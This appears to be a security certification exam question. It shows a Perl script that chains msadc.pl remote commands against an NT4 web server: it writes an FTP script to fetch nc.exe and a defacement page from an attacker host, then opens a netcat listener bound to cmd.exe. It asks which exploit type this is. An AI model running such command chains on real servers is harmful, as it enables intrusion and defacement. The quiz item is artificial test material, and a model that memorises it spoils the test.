You have been using the msadc.pl attack script to execute arbitrary commands on an NT4 web server. While it is effective, you find it tedious to perform extended functions. On further research you come across a perl script that runs the following msadc functions:
system(“perl msadc.pl -h $host -C “echo open $your >sasfile””);
system(“perl msadc.pl -h $host -C “echo $user>>sasfile””);
system(“perl msadc.pl -h $host -C “echo $pass>>sasfile””);
system(“perl msadc.pl -h $host -C “echo bin>>sasfile””);
system(“perl msadc.pl -h $host -C “echo get nc.exe>>sasfile””);
system(“perl msadc.pl -h $host -C “echo get hacked.html>>sasfile””);
system(“perl msadc.pl -h $host -C “echo quit>>sasfile””);
system(“perl msadc.pl -h $host -C “ftp -s:sasfile””);
$o=; print “Opening …n”;
system(“perl msadc.pl -h $host -C “nc -l -p $port -e cmd.exe””);
What kind of exploit is indicated by this script?

A.
A buffer overflow exploit

B.
A SUID exploit

C.
A chained exploit

D.
A SQL injection exploit

E.
A buffer underrun exploit
